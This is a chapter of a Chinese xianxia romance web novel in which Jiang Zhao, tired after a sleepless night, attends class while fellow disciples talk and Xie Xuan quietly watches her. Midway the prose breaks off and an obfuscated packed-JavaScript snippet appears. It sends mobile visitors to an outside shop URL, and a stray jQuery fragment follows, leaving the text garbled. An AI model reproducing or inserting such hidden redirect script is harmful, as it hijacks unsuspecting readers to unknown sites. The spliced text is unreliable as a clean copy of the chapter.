雾气氤氲,池水清浅,倒映出一方身影。
少年肌肤莹白似雪,万千青丝散乱地倚在肩头,顺着肩脊垂落而下,没入温热的池水间,长睫如蝶翼般,不时颤动着,洇出一抹潮红。
不知过了多久,池中人影轻轻一晃。
谢宣抬手,指尖轻抚上浴桶边沿,自池水间缓步而出。
一袭月白中衣,似有若无地贴在少年胸膛,轮廓若隐若现。如瀑似的长发垂落腰际,尚还带着些朦胧水汽,他却未再施诀,任由雾气氤氲蔓延。
高大的身影倾覆而下,将大半的烛火掩去,昏黄灯火映照下,容颜愈发昳丽。几滴未落的水珠沿着颊边蜿蜒而下,缓缓淌过脖颈,洇出一抹湿痕,最终隐入衣襟边缘,消失不见。
银白月辉漫过轻纱,拂过几案,静静地淌落室内,覆上些莹白的光晕。
谢宣一路行至铜镜前,低眸凝望片刻,缓缓拂手将青丝捋至身前,不紧不慢地为自己穿衣、梳发。
不再是那繁复绮丽的锦袍,时隔多日,他又换回了寻常的素衣道袍。唯有那枚墨绿香囊,仍一如既往地系在腰间,轻轻荡漾着。
不知何时,室内那抹松香已悄然散去,再寻不到一丝踪迹。
镜中人影微微一晃,谢宣回眸望向窗外,犹夷片刻,终是没有立刻回宗。
……
翌日。
时辰尚早,夜色还未完全褪去,群峰山峦隐在薄雾之间,若隐若现。某处小院里却是烛火通明,风声阵阵。
姜昭手持青筠,身形起落如云,剑势所过之处,激得竹影簌簌震颤,犹如浪潮一般,久久不曾停息,看上去格外唬人。
只是少女的状况看上去却有些不大好:长发凌乱地束起,眼下青黑一片,连素日清亮的眼眸也覆上一丝黯淡,小脸却红彤彤的,怎么看怎么诡异。
系统一上线便看到这副景象,吓了一大跳,骇然问道:“你打鸡血啦?”
不待姜昭回答,系统又问:“你不会练了一晚上的剑吧?”
平日里姜昭虽说勤勉修炼,不曾懈怠过,但在这种天将亮未亮的时候,她可是能不动就不动,从来不离开自己床榻半步,至多也就打打坐,美名其曰:春光无限好,当然要躺饱。
对于系统突然现身,姜昭也没像往常那样吐槽,她眼睫极慢地眨了一下,缓缓收起剑,游魂一样走到石桌前落座,脑袋伏在臂弯间有气无力地回道:“那倒没有。”
系统这才松了口气,也是,她怎么可能……
“我还看了两卷话本,刷了一个时辰的灵域,”姜昭竖着指头一件件地数着,丝毫没有意识到系统的震惊,她停顿一会儿,又缓缓补充道:“还数了一会儿星星。”
姜昭语气幽幽:“我怎么从来没发现,长衍宗就连星星都比寻常的要亮些呢。”
晃来晃去的,害她数了许多遍也没数清。
系统:“……”
天啦噜,这到底是发生了什么?它不过就是一晚上没在而已,它的主人怎么就疯掉啦!
姜昭深深地叹了口气,饶是如此,那副惑人的景象仍在脑海中盘桓着,久久不曾散去。
她一个血气方刚的少女,哪里能受得了这种诱惑?她越是不想去想,那副场景就越是明显,仿佛跟她对着干一样。
何况她连穿了衣裳的师兄都抵挡不住,更是不敢想这次会梦见什么。
所幸谢宣还没回宗,不用直接对上,姜昭这才稍稍松了口气。
日光穿透云雾倾洒而下,裹着些暖融融的温度落到姜昭身上,为少女周身覆上些朦胧的光晕,连带着发梢都泛出一层浅淡的金黄,看上去毛茸茸的。
她抬眸扫了眼日头,又长叹一口气,稍稍整顿一番,这才老老实实地起身去上日课。
课室内。
姜昭一路御剑赶至灵武阁,有气无力地同三人打了声招呼,这才缓缓坐下。
祝尧看着师姐这副脸色,欲言又止止言又欲,最后看了眼柳青心,到底是没说什么。
广场上,任乾一袭青色道袍,迈着四方步子款款而来,他环视一番堂下弟子,见人数大差不差,便开始授课。
一开起口来,那叫一个口若悬河、滔滔不绝,说得天花乱坠。堂下弟子见怪不怪地听着,时不时地拂袖掩面打上一个哈欠。
纯粹的熬夜与修炼不大一样,姜昭难得的感受到一些疲倦,尤其是在任老头的buff加持之下,那股倦意愈发明显。她强撑起精神,这才没有在课堂上直接睡过去。
好不容易平安地撑到下课,任乾身影一消失,姜昭骤然松懈下来,她肩头一垮,伏身趴在几案上,低低地喟叹一声。
同门三三两两地结伴往广场上走去,见状,祝尧也跟着直起身,他回头一看,见三人都没有离开的迹象,便又坐了回去。
祝尧单手捧在脸颊边缘,目不转睛地盯着姜昭看了一会儿,终于得出一个结论。他挠了挠脑袋,略显狐疑地看向柳青心,语气不定:“我怎么觉着,师姐状态比前两天还要好上一些呢。”
柳青心看了眼姜昭的脸色,并未言语。
听闻此言,于堇也顺势抬眸扫了眼姜昭,复又看向祝尧,颇有些欲言又止。
对着这副明显气血不足的面孔,他实在是说不出好在哪里。
两人都未说话,祝尧也不在意,他抬手摸了摸鼻尖,身子往前一倾,调侃着:“师姐莫不是去做贼了?”
姜昭本就底气不足,经祝尧这么一说,心里更是打起了鼓。她闭着眼向上翻了个白眼,理不直气也壮,因伏在臂弯里,声音闷闷的听不太真切:“你才做贼了,我只是通宵修炼而已。”
听到这话,祝尧也顾不得追究了,生怕一不注意姜昭的修为又高出一截来,同三人草草道了声别,便脚步飞快朝广场外奔去。
柳青心收回视线,掠过一侧人影,也不再停留,她轻声说道:“师姐,我也先走了。”
姜昭低低地应了声,声音几不可闻,显然已是距离梦乡一步之遥。
见师姐这副姿态,柳青心眼尾微微一弯,漾出一抹笑意。她没再说些什么,轻手轻脚地走出课室,指尖抚过灵域,正欲离去之际,身后忽地传来一声声响。
柳青心垂下眼睫,恍若未闻一般,面色如常地继续朝前走去。
天际云絮起伏翻涌,遮去半轮白日,天光忽明忽暗,身下影子不停变幻着,仿佛下一瞬就要消失不见。
于堇薄唇紧抿,望着前方那道步履不停的身影,心间一阵苦涩。他再忍不住,身形一动,闪至少女身前,拦住了她的去路。
前方无路可走,柳青心眼睫一颤,终于顿在原地。
于堇微俯着身,注视着身前的人影,唇瓣几经开合,略显滞涩地低低唤了声。
“青心。”
生怕柳青心再次走掉,于堇丝毫不敢停歇,一字一句缓缓说着。
“上次所言,我并不悔。”
那日月下,他终是没能克制住,放任自己诉尽一番少年心事。
事后几日,于堇也从柳青心的态度中窥见一丝端倪。
但他却并不后悔。
于堇眼睫一颤,垂在身侧的手掌微
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17925535|207628||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
微绷紧,无意识地摩挲着指腹,继续低声说着:“但我不愿你我这样。”
广场上人影早已悉数散去,四周静谧无声,唯有他略显急促的呼吸声,在二人之间缓缓回荡。
“陌路一样,再无言语。”
“我从未想过其他,只是希望我们还能同往常一般,权当做朋友。”
高大的身影倾覆而下,日光被挡去大半,阴翳沉沉落下,将少女单薄的身形尽数笼住。
柳青心从始至终低着眸,没看于堇一眼。
听到这里,她才轻应一声,当做回应。
话已说尽,于堇不知该如何是好,只能注视着少女一步步离他而去,转瞬消失于无垠天际间。
偌大广场上,徒留于堇一人。
他默然垂首,在原地驻足良久,才缓缓离去。
清风穿林而过,枝叶簌簌作响,将方才凝滞的气氛尽数扫去。云絮无声翻涌,树影随风而动,在地面上缓缓游移着。
一道身影忽从树后缓步而出。
一袭玄色道袍,顺着肩脊起伏而下,勾勒出独属于男子的挺拔轮廓,长发只以素色绢带束起,几缕碎发轻轻拂过脸侧,映出一幅熟悉的容颜。
雪肤淡唇,寒眸若潭,赫然正是谢宣。
他本是想着来此看上一眼师妹,倒是没料到会撞见这副场景。
谢宣无意偷听,但也不好出面打扰,便隐在树后,静待二人交谈完毕。无奈修为摆在眼前,是以两人的话一字不漏地传了过来。
他低眸垂首,侧身半倚在古树边缘,树影斑驳交错,落至他脸侧。某个字眼传来时,少年眼睫轻轻一颤,映出一片细碎的暗影。
朋友。
他不愿只做朋友、师兄,这种旁人亦可的位子。
情爱一事,谢宣本就无甚经验,不过偶尔从师姐那里窥见几分,却又于他不太适用。索性一路摸索着,虽慢了些,却也稳妥。偶尔也有过几回深夜抑制不住冲动,想要宣之于口时,都被他强压了下去。
如今看来,倒是十分明智。
他收敛心神不再去想,缓步朝课室走去。不过一瞬,便已跃至门扉处。
天光明媚绚烂,透过轻纱似有若无地落到少女身上,覆上些朦胧的光晕。
姜昭埋首伏在臂弯间,青丝散乱地搭在肩肩颈处,几缕碎发贴在脸侧,随着呼吸轻轻起伏着,少女睡颜恬静,让人不忍打扰。
谢宣也无意打扰。
他无须刻意凝神,那股柔软绵长的气息已传了过来,混着丝丝缕缕的浅香,涌入鼻息之间。
谢宣未再往前走去,就这么半倚在门阑边缘,静静地看了许久。
渐渐地,竟入了神。
半梦半醒间,姜昭恍惚看到了一抹熟悉的人影。
少年长身玉立,隐在光与影之间,朦胧绰约,遥不可及。
谢宣猝不及防间撞进少女朦胧的眼眸,当即怔愣在原地,不知该如何是好,他甚至忘却了,自己早已不是寻常凡人,只需一个掐诀,便可隐去身形。
却见姜昭眼睫一颤,又缓缓阖上了眸,再度睡了过去,她无意识地侧过头,轻轻地蹭了蹭脸颊,低声呢喃着,混进绵长的呼吸里,几不可闻一般:“师兄……”
不曾想竟从师妹口中听到自己姓名,谢宣心间一阵柔软,如墨似的眼眸轻轻弯起,下意识地将呼吸放轻了些,目光却牢牢锁在她身上,片刻不肯挪开。
几案上的人影微微一晃,一声梦呓浅浅传来,轻到不过一瞬,便消散在清风之中。
“你怎么还不回来呢……”